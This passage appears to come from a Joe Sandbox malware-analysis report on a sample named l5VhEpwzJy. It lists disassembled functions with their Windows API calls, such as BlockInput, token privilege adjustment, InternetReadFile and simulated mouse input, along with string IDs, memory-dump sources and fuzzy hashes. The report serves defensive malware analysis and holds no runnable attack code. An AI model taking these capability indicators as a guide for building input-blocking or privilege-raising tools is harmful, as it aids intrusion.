                                                          • Instruction Fuzzy Hash: 5C518932A19E4686EB24DF26D0902AC77A0FB85F94F104232CB5E877A5EF7CE955C700
                                                          Function 00007FF6A53F58C4 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$DiskFreeSpace
                                                          • String ID:
                                                          • API String ID: 1682464887-0
                                                          • Opcode ID: 9da028b5588618e8017c2d6f59159552d0d086b50025af474123ec90f68560d5
                                                          • Instruction ID: 8d2f09a67f2920c23332619cbdd3657a147d52bb3aaa0c318f10beb4285c06f2
                                                          • Opcode Fuzzy Hash: 9da028b5588618e8017c2d6f59159552d0d086b50025af474123ec90f68560d5
                                                          • Instruction Fuzzy Hash: 67314E32A19F8586EB24DF25E4802AEB760FBC5F94F104521EB8D87765DF7CD9468B00
                                                          Function 00007FF6A53DD5CC Relevance: 4.6, APIs: 3, Instructions: 59COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AdjustConcurrency::cancel_current_taskErrorLastLookupPrivilegePrivilegesTokenValue
                                                          • String ID:
                                                          • API String ID: 2278415577-0
                                                          • Opcode ID: 70c4773b18923e0c28b697d59e2b6e62826da89e857526a178f76e4b759ffcd8
                                                          • Instruction ID: 707d9e0f2aa2597c481d91c4684501e1856585afd019976323d3f9a0f6d27200
                                                          • Opcode Fuzzy Hash: 70c4773b18923e0c28b697d59e2b6e62826da89e857526a178f76e4b759ffcd8
                                                          • Instruction Fuzzy Hash: 3421DE72A19A819AD700DF26E4402AEB7A0FB89FD4F448834CF4C87728DF78D956C780
                                                          Function 00007FF6A53DD540 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AllocateCheckFreeInitializeMembershipToken
                                                          • String ID:
                                                          • API String ID: 3429775523-0
                                                          • Opcode ID: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
                                                          • Instruction ID: 887176c4d55e488ac1ce45a95bdde16043cecb1f67ec0695976461a8ca4d8400
                                                          • Opcode Fuzzy Hash: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
                                                          • Instruction Fuzzy Hash: CB0140736247818FE7108F20D8553AD33B0F76476EF400929E649C6A98CF7DC158CB84
                                                          Function 00007FF6A53B2F50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: .
                                                          • API String ID: 0-248832578
                                                          • Opcode ID: e1d1fb4f290d3f8f73012e05781d19b6c344ca2143228aded1dc3f30a5d54e4e
                                                          • Instruction ID: 50dd4967ebe697b8fa71c220d7ea7f9bdab59908afbcc05613838461e863ceb1
                                                          • Opcode Fuzzy Hash: e1d1fb4f290d3f8f73012e05781d19b6c344ca2143228aded1dc3f30a5d54e4e
                                                          • Instruction Fuzzy Hash: B8313851B25EA144EB20EF62A8046B6B690FB92FE4F448631FE5D87BC5EE3CD8018300
                                                          Function 00007FF6A5402464 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfomouse_event
                                                          • String ID: DOWN
                                                          • API String ID: 17014623-711622031
                                                          • Opcode ID: 5b704a07574124c7e817457ac83024f80addd9552f4bff182079f39b1e753b8c
                                                          • Instruction ID: f9637ed1f330b2cca1504b83a51169731501e74f6e4f7e2cce0562e3a878295f
                                                          • Opcode Fuzzy Hash: 5b704a07574124c7e817457ac83024f80addd9552f4bff182079f39b1e753b8c
                                                          • Instruction Fuzzy Hash: E8219032A1DA5682EA24DF22E41027A63A1FB96F94F544035EE5DC7791EF7CE8818704
                                                          Function 00007FF6A53D2BA0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: LocalTime
                                                          • String ID: %.3d
                                                          • API String ID: 481472006-986655627
                                                          • Opcode ID: 0a1c5bb443c020c262df8418af2e2bd068d9f57d67344cb8eb19a51fac8e6ff3
                                                          • Instruction ID: e3501ca3e6d3b7699d3919e3ea78f3bba3c25c5652a4b90b446db5c0c248cd95
                                                          • Opcode Fuzzy Hash: 0a1c5bb443c020c262df8418af2e2bd068d9f57d67344cb8eb19a51fac8e6ff3
                                                          • Instruction Fuzzy Hash: 61D0E262A2E923D2EA54DF50E8510BDA331FB92B14B804072F50EC64D8AFA9E904E301
                                                          Function 00007FF6A53B67F0 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ExceptionRaise_clrfp
                                                          • String ID:
                                                          • API String ID: 15204871-0
                                                          • Opcode ID: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
                                                          • Instruction ID: a0fb404f15fc0e446967b15b133d39c4a8101e1b38f07fa1db7148a5fdc8e4e6
                                                          • Opcode Fuzzy Hash: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
                                                          • Instruction Fuzzy Hash: 9FB15BB3A11F888BEB15DF2AC8453683BA0F785F48F198921DA5D877A6DF39D851C700
                                                          Function 00007FF6A53F71F4 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Find$CloseFileFirst
                                                          • String ID:
                                                          • API String ID: 2295610775-0
                                                          • Opcode ID: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
                                                          • Instruction ID: 1e32c4068ae4d452c8b86811e3ffb7aaec16a86bbfa1a7deb11e1e727ea0830a
                                                          • Opcode Fuzzy Hash: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
                                                          • Instruction Fuzzy Hash: 38116A32A09B41C2DB14CB26E08436C7760FB89FA0F048631DB6D87B91DF7CD8558740
                                                          Function 00007FF6A53F3778 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ErrorFormatLastMessage
                                                          • String ID:
                                                          • API String ID: 3479602957-0
                                                          • Opcode ID: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
                                                          • Instruction ID: 6716dc04ace934d558896ed5e11befbbbc6d1bd8fabcc19486740a9a63ef2287
                                                          • Opcode Fuzzy Hash: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
                                                          • Instruction Fuzzy Hash: 8EF0CD21619A4251E720DB15F40036DB2A5FFDABD4F104134EB5DC7BA5EE3CD4048700
                                                          Function 00007FF6A53DCCE0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AdjustCloseHandlePrivilegesToken
                                                          • String ID:
                                                          • API String ID: 81990902-0
                                                          • Opcode ID: 2696843c0c1c48d019296e0beaf727179f08331fefa667d0a626b5bdda81ebd6
                                                          • Instruction ID: 3b8d3902b0194b893f8f931dfdded06482d6338a76e412edd281fd36768980ce
                                                          • Opcode Fuzzy Hash: 2696843c0c1c48d019296e0beaf727179f08331fefa667d0a626b5bdda81ebd6
                                                          • Instruction Fuzzy Hash: F9F0E5A6A24B45D2EB20CB21D8113BC13A0FBD9F98F200531CE0D8B268CF3CC886C380
                                                          Function 00007FF6A53A95B0 Relevance: 2.9, Strings: 2, Instructions: 378COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: a/p$am/pm
                                                          • API String ID: 0-3206640213
                                                          • Opcode ID: 7b3f4c1adbce48e9712f7f101c5ec161db5e41a840f2bf09c06579e081aceba8
                                                          • Instruction ID: ab5e954fcb1df90c314b8e9b83e8753b39279be3fdc40e63b1c41b78e35a0907
                                                          • Opcode Fuzzy Hash: 7b3f4c1adbce48e9712f7f101c5ec161db5e41a840f2bf09c06579e081aceba8
                                                          • Instruction Fuzzy Hash: 43E1B4A3A2AA5285EF64CF1485545BD23A5FF82B80F554136EB1FD6688FE3EED50C300
                                                          Function 00007FF6A539C3FC Relevance: 2.7, Strings: 2, Instructions: 219COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID: 0$0x%p
                                                          • API String ID: 3215553584-2479247192
                                                          • Opcode ID: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
                                                          • Instruction ID: 663b2fac18632578d2f7e7556ca9366e5ec9313263b46387d8ed8a17e443d78d
                                                          • Opcode Fuzzy Hash: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
                                                          • Instruction Fuzzy Hash: 868105D2A3AA4AC6EB64CA26806867D6390EFC3F44F541531DD09C7697EF2DEC02D300
                                                          Function 00007FF6A5380E70 Relevance: 1.9, Strings: 1, Instructions: 680COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Variable is not of type 'Object'.
                                                          • API String ID: 0-1840281001
                                                          • Opcode ID: 0846f4224996d3c000beb684e8f92ad8a272e358ff67d15cb6cee7ad666ce03d
                                                          • Instruction ID: d5a13bb204fff5026d2fdab4a85788094d4638f61cf56c99d9ff0ca1fe1021f2
                                                          • Opcode Fuzzy Hash: 0846f4224996d3c000beb684e8f92ad8a272e358ff67d15cb6cee7ad666ce03d
                                                          • Instruction Fuzzy Hash: E8524172E2AA529AEB14DF61D0502FC23A1EB86B88F504031DE0DD7A85EF79FD49D341
                                                          Function 00007FF6A53FE87C Relevance: 1.6, APIs: 1, Instructions: 62filenetworkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: FileInternetRead_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 101623796-0
                                                          • Opcode ID: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
                                                          • Instruction ID: 6a447ad7b411c6687f1fde6bff1700dc095c3056c3de525635de22f2f71e4d2b
                                                          • Opcode Fuzzy Hash: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
                                                          • Instruction Fuzzy Hash: E4219522B29A5142FBA0DA15A0107AA2350FFC6F84F945135DA4C8B785EF3CD905D740
                                                          Function 00007FF6A5400A00 Relevance: 1.5, APIs: 1, Instructions: 23keyboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: BlockInput
                                                          • String ID:
                                                          • API String ID: 3456056419-0
                                                          • Opcode ID: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
                                                          • Instruction ID: 7d4c25059938eec6509bedbf79f4d067e6039ee669d4eef6c9a8855fc95f2fa2
                                                          • Opcode Fuzzy Hash: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
                                                          • Instruction Fuzzy Hash: 63E09B32B1564286EB44DF75E04127D6290EBA5F84F545035DE1EC7345DE7CDC908700
                                                          Function 00007FF6A53D2BCF Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: NameUser
                                                          • String ID:
                                                          • API String ID: 2645101109-0
                                                          • Opcode ID: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
                                                          • Instruction ID: 740c49a8fdcefcfa41b253cab1c31571d6eeba8aa95258534e1dffa246521d06
                                                          • Opcode Fuzzy Hash: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
                                                          • Instruction Fuzzy Hash: FDC01271A15A62D9E760DF20D8841EC3330FB1071CF800022E60A8E568EF788648C300
                                                          Function 00007FF6A539BEB4 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID: 0
                                                          • API String ID: 3215553584-4108050209
                                                          • Opcode ID: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
                                                          • Instruction ID: f2aa2e4814e9c4d0df678ff6cfbc24c018ad139b7b5b9ef40fa68580bd15022d
                                                          • Opcode Fuzzy Hash: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
                                                          • Instruction Fuzzy Hash: 6071D6A1A2EA86C6FA68CA25507027E6790AFC3F44F140935DD0EC77D6EE2DEC458B11
                                                          Function 00007FF6A53AA8A0 Relevance: 1.4, Strings: 1, Instructions: 139COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @
                                                          • API String ID: 0-2766056989
                                                          • Opcode ID: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
                                                          • Instruction ID: bec42827cb709a9f31d888c49a119d45e2a2299f97b3e4fb95aacb5fcd66a559
                                                          • Opcode Fuzzy Hash: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
                                                          • Instruction Fuzzy Hash: C5419E62725F4986EE44CF2AD4142A963A1FB8AFD4B49A036DF0E87754EE3DD846C300
                                                          Function 00007FF6A53B4318 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
